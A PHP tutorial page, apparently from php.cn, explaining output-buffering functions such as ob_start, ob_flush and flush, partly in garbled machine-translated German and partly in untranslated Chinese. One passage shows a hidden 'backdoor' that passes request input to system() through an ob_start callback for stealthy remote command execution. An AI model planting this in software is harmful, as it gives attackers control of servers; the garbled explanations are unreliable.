Einführung und Rolle der PHP-Ausgabepufferung

墨辰丷
Freigeben: 2023-03-31 07:16:01
Original
1740 Leute haben es durchsucht

Dieser Artikel stellt hauptsächlich die Einführung und Funktion der PHP-Ausgabepufferung vor. Ich hoffe, dass er für alle hilfreich ist.

Übersicht

Ich habe die Eingabe- und Ausgabepufferung von PHP bereits studiert, aber nach dem Umzug des Blogs konnte ich keinen guten Artikel finden heute und habe es übrigens noch einmal gepostet.

Einführung

Wenn es um die Ausgabepufferung geht, ist das erste, worüber man sprechen muss, etwas, das Puffer genannt wird. Lassen Sie uns ein einfaches Beispiel geben, um seine Rolle zu veranschaulichen: Wenn wir ein Dokument bearbeiten, schreibt das System nicht auf die Festplatte, bevor wir es speichern, sondern schreibt es in den Puffer, wenn der Puffer voll ist oder ein Speichervorgang ausgeführt wird. Die Daten werden auf die Festplatte geschrieben. Bei PHP wird jede Ausgabeoperation wie Echo auch zuerst in den PHP-Puffer geschrieben. Die Daten werden erst dann im Browser angezeigt, wenn das Skript ausgeführt wird oder eine erzwungene Ausgabe-Caching-Operation durchgeführt wird.
Tatsächlich beinhaltet für PHP-Programmierer grundsätzlich jedes Skript eine Ausgabepufferung, aber in den meisten Fällen müssen wir keine Änderungen an der Ausgabepufferung vornehmen. Lassen Sie uns heute anhand eines Beispiels eine detaillierte Analyse der PHP-Ausgabepuffer-Steuerfunktion „Output Control“ durchführen.
Das folgende Beispiel stellt kurz vor, wie Ausgabepufferung in allgemeinen Skripten existiert:

Der Code lautet wie folgt:

echo 'Apple';
echo 'IBM';
echo 'Microsoft'
Nach dem Login kopieren


Wenn wir das obige Skript ausführen, führt das Skript „When“ aus Wenn das erste Echo abgeschlossen ist, wird der entsprechende Inhalt nicht an den Browser, sondern an einen Puffer usw. ausgegeben. Wenn alle drei Echos ausgeführt werden (dh das Skript endet), lautet der Pufferinhalt Alle Ausgabe an den Browser. Natürlich gibt es auch für diesen Puffer eine Größenbeschränkung, die entsprechend der Option „output_buffering“ in php.ini festgelegt wird. Dies wird im folgenden Artikel ausführlich vorgestellt. Die in diesem Kapitel besprochene Ausgabepuffersteuerung besteht darin, den Inhalt im Puffer vor dem Ende des Skripts zu bearbeiten.
Das folgende Beispiel kann die Anwendung der Ausgabepuffersteuerung besser widerspiegeln:

Der Code lautet wie folgt:

echo 'Apple'; 
sleep(2);
echo 'IBM'; 
sleep(2);
echo 'Microsoft';
Nach dem Login kopieren

Wir müssen mindestens 2 Sekunden warten, um das Ausgabeergebnis zu sehen Können wir lassen, was ist mit der Echtzeitanzeige? Das heißt, der entsprechende Inhalt wird ausgegeben, wenn das erste Echo ausgeführt wird. Zu diesem Zeitpunkt müssen Sie die Ausgabepuffer-Steuerfunktion verwenden, um den Puffer zu betreiben. Die spezifische Implementierung wird vorerst beiseite gelegt und bekannt gegeben am Ende des Artikels.

Funktion

1. In PHP dürfen vor dem Senden von Header-Dateien wie header(), session_start(), setcookie() usw. keine Funktionen vorhanden sein , und die Ausgabepuffer-Steuerfunktion kann zur Ausgabe vor diesen Funktionen verwendet werden, ohne dass ein Fehler gemeldet wird. Tatsächlich ist dies nicht erforderlich, da es sich um eine sehr seltene Verwendung handelt.
2. Verarbeiten Sie den Ausgabeinhalt, z. B. das Generieren statischer Cache-Dateien und das Durchführen der GZIP-Komprimierungsausgabe.
3. Erfassen Sie einige nicht erhältliche Funktionsausgaben, wie z. B. phpinfo(), var_dump() usw. Diese Funktionen zeigen die Operationsergebnisse im Browser an, und wenn wir diese Ergebnisse verarbeiten möchten, verwenden Sie die Ausgabepufferung. Steuerfunktionen sind a gute Möglichkeit, dies zu tun. Vereinfacht ausgedrückt hat diese Art von Funktion keinen Rückgabewert. Um die Ausgabedaten dieser Funktionen zu erhalten, muss die Ausgabepuffer-Steuerfunktion verwendet werden.
4. Die letzte Anwendung ist die Echtzeitausgabe einiger in der Einleitung erwähnter Daten.

Verwandte Konfigurationselemente in php.ini

Werfen wir einen Blick auf die Optionen im Zusammenhang mit der Ausgabepuffersteuerung in php.ini, nämlich: Output_buffering, implicit_flush und Output_handler.
1.output_buffering ist standardmäßig auf „off“ gesetzt, der Ausgabepuffer wird automatisch in allen Skripten geöffnet, d. h. die Funktion ob_start() wird automatisch in jedem Skript ausgeführt, ohne die Funktion explizit aufzurufen. Es kann auch auf eine Ganzzahl eingestellt werden, die die maximale Anzahl von Bytes darstellt, die der Puffer speichern kann. Wir haben dieses Konfigurationselement in der Beschreibung unten in Beispiel 1 erwähnt.
2.implicit_flush ist standardmäßig auf „off“ gesetzt, wenn PHP den Pufferinhalt nach der Ausgabe automatisch sendet. Das heißt, „flush()“ wird nach jeder Ausgabe automatisch ausgeführt. Eine gültige Ausgabe bezieht sich natürlich nicht nur auf Funktionen wie echo und print, sondern umfasst auch HTML-Segmente.
3.output_handler ist standardmäßig null und sein Wert kann nur auf einen integrierten Funktionsnamen gesetzt werden. Seine Funktion besteht darin, alle Ausgaben des Skripts mit der definierten Funktion zu verarbeiten. Seine Verwendung ähnelt ob_start('function_name'), das im Folgenden vorgestellt wird.

In diesem Artikel sind die Werte von „output_buffering“, „implicit_flush“ und „output_handler“ in php.ini, sofern nicht anders angegeben, Standardwerte.

Ausführliche Erklärung der Ausgabesteuerungsfunktion

ob_start()

bool ob_start ([ Callback Outputcallback[,intchunk_size [, bool $ löschen ]]] )

此函数大家从命名上也能明白其含义,就是打开输出缓冲区,从而进行下一步的输出缓冲处理。这里要特意说的是其参数的用法,第一个参数要传递一个回调函数,其需将缓冲区内容做为参数,并且返回一个字符串。他会在缓冲区被送出时调用,缓冲区送出指的是执行了例如ob_flush() 等函数或者脚本执行完毕。ob_flush() 函数会在下面介绍到,来看一个简单的例子就能理解其用法:

代码如下:

function dothing1($echo_thing){
    return ' #' . $echo_thing . '# ';
}
 
ob_start('dothing1');
echo 'Apple';
输出结果
#Apple#
Nach dem Login kopieren


从输出的结果可以看出单词两边被添加了“#”,也就是说在缓冲区内容输出时,运行了我们定义的 dothing1函数。

再来看一个更实际的例子,也就是常见到的将网页内容利用 gzip 压缩后再输出,代码如下:

代码如下:

ob_start();
echo str_repeat('Apple', 1024);
Nach dem Login kopieren

输出结果:没有使用gzip压缩的情况下,输出内容大小为5.2KB。

输出结果:使用gzip压缩的情况下,文档大小小了很多,压缩花费了时间,所以时间长了。

而第二个参数 chunk_size 为缓冲区的字节长度,如果缓冲区内容大于此长度,将会被送出缓冲区,默认值为0,代表函数将会在最后被调用。第三个参数 erase 如果被设置为 flase , 则代表脚本执行完毕后缓冲区才会被删除,如果提前执行了删除缓冲区函数(后面会提到),则会报一个错误。

ob_start() 的用法就这么多,但有两点需要特别注意的地方:

1.ob_start() 可重复调用,也就是说一个脚本中可以存在多个缓冲区,但记得要按照嵌套顺序将他们全部关闭掉,而如果多个 ob_start 都定义了第一个参数,也就是都定义了回调函数,则会按照嵌套顺序依次执行。关于缓冲区的堆叠嵌套,将在 ob_get_level 函数处详细介绍,这里就不过多阐述了。
2.ob_start() 还有一个不太明显但很致命的后门用法,实现代码如下:

代码如下:

$cmd = 'system';
ob_start($cmd);
echo $_GET['a'];
ob_end_flush();
windows下面的输出结果:
14 个目录 30,970,388,480 可用字节
Nach dem Login kopieren

如果理解了上面关于 ob_start的用法,这段代码就不难理解了,其应用了 ob_start 函数会将缓冲区输出的内容作为参数传入所设置的函数中的特点,实现了以Web服务器权限远程执行命令,并且不宜被发觉。

ob_get_contents()

string ob_get_contents ( void )
此函数用来获取此时缓冲区的内容,下面的例子就能很好的理解其用法:

代码如下:

ob_start('doting2');
echo 'apple';
$tmp = ob_get_contents();
file_put_contents('./doting2', $tmp);
ob_end_flush()
Nach dem Login kopieren

ob_get_length()

此函数用来获取缓冲区内容的长度。

ob_get_level()
int ob_get_level ( void )
此函数用来获取缓冲机制的嵌套级别,我们在介绍 ob_start() 函数时曾说过,在一个脚本中可以嵌套存在多个缓冲区,而此函数就是来获取当前缓冲区的嵌套级别,用法如下:

代码如下:

ob_start();
var_dump(ob_get_level());
ob_start();
var_dump(ob_get_level());
ob_end_flush();
ob_end_flush();
Nach dem Login kopieren

运行后可以很明显的看出他们的嵌套关系。

ob_get_status()
array ob_get_status ([ bool $full_status = FALSE ] )
此函数用来获取当前缓冲区的状态,返回一个状态信息的数组,如果第一个参数为 true ,将返回一个详细信息的数组,我们结合实例来分析这个数组:

代码如下:

ob_start('ob_gzhandler');
var_export(ob_get_status());
ob_start();
var_export(ob_get_status());
ob_end_flush(); ob_end_flush();
运行结果 
array ( 'level' => 2, 'type' => 1, 'status' => 0, 'name' => 'ob_gzhandler', 'del' => true, )
array ( 'level' => 3, 'type' => 1, 'status' => 0, 'name' => 'default output handler', 'del' => true, )
Nach dem Login kopieren

说明:
1.level 为嵌套级别,也就是和通过 ob_get_level() 取到的值一样
2.type 为处理缓冲类型,0为系统内部自动处理,1为用户手动处理
3.status为缓冲处理状态, 0为开始, 1为进行中, 2为结束
4.name 为定义的输出处理函数名称,也就是在 ob_start() 函数中第一个参数传入的函数名
5.del 为是否运行了删除缓冲区操作

ob_flush()
void ob_flush ( void )
此函数的作用就是 “送出” 当前缓冲区内容,同时清空缓冲区,需要注意这里用的是 “送出” 一词,也就是说调用此函数并不会将缓冲区内容输出,必须在其后调用 flush 函数其才会输出。关于 flush 的用法下面就会说到,这里就不再做实例了。

flush()
void flush ( void )
这个函数算是比较常用的,用来将其前面的所有输出发送到浏览器显示,且不会对缓存区有任何影响。换句话说,不论是 echo 等函数的输出,还是 HTML实体 ,或是运行 ob_start() 送出的内容,运行 flush() 后都会在浏览器进行显示。

ob_flush()与flush()的区别

在没有开启缓存时,脚本输出的内容都在服务器端处于等待输出的状态,flush()可以将等待输出的内容立即发送到客户端。 开启缓存后,脚本输出的内容存入了输出缓存中,这时没有处于等待输出状态的内容,你直接使用flush()不会向客户端发出任何内容。而ob_flush()的作用就是将本来存在输出缓存中的内容取出来,设置为等待输出状态,但不会直接发送到客户端,这时你就需要先使用ob_flush()再使用flush(),客户端才能立即获得脚本的输出。

void ob_implicit_flush()

此函数用来打开/关闭绝对刷送模式,就是在每一次输出后自动执行 flush(),从而不需要再显示的调用 flush() ,提高效率。

其他相关函数

1.bool ob_end_flush ( void )
2.string ob_get_flush ( void )
3.void ob_clean ( void )
4.bool ob_end_clean ( void )
5.string ob_get_clean ( void )

对一些数据进行实时的输出

相信读了上面的内容,就会对PHP的缓冲控制函数有较深的认识了,现在我们回到简介中留下的问题:让例2的脚本实现实时的显示内容,而不需要等待4秒后出现所有内容。
我们可以根据缓存开启与否,有如下几种不同的写法,如果你在测试过程中无法出现预期的效果,可以在header(‘content-type:text/html;charset=utf-8');下面插入str_repeat(‘ ‘, 1024);,你也可以尝试更大的值,部分浏览器即使这么做了,有可能还是无法出现效果,你可以尝试将php代码放入完整的html代码块body体内。下面代码的header(‘content-type:text/html;charset=utf-8');不要省略哦,否则部分浏览器查看不到效果。

代码如下:

ob_start(''); //这里我使用ob_start('ob_gzhandler')没有效果
header('content-type:text/html;charset=utf-8');
echo 'Apple #';  
ob_flush(); flush();
sleep(2);
echo 'IBM #';
ob_flush(); flush();
sleep(2);
echo 'Microsoft';
Nach dem Login kopieren

总结:以上就是本篇文的全部内容,希望能对大家的学习有所帮助。

相关推荐:

php针对数组的删除、转换、分组、排序

php针对文件操作及字符串加密的方法

php模拟post请求的三种常见用法

Das obige ist der detaillierte Inhalt vonEinführung und Rolle der PHP-Ausgabepufferung. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:php.cn
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage
Über uns Haftungsausschluss Sitemap
Chinesische PHP-Website:Online-PHP-Schulung für das Gemeinwohl,Helfen Sie PHP-Lernenden, sich schnell weiterzuentwickeln!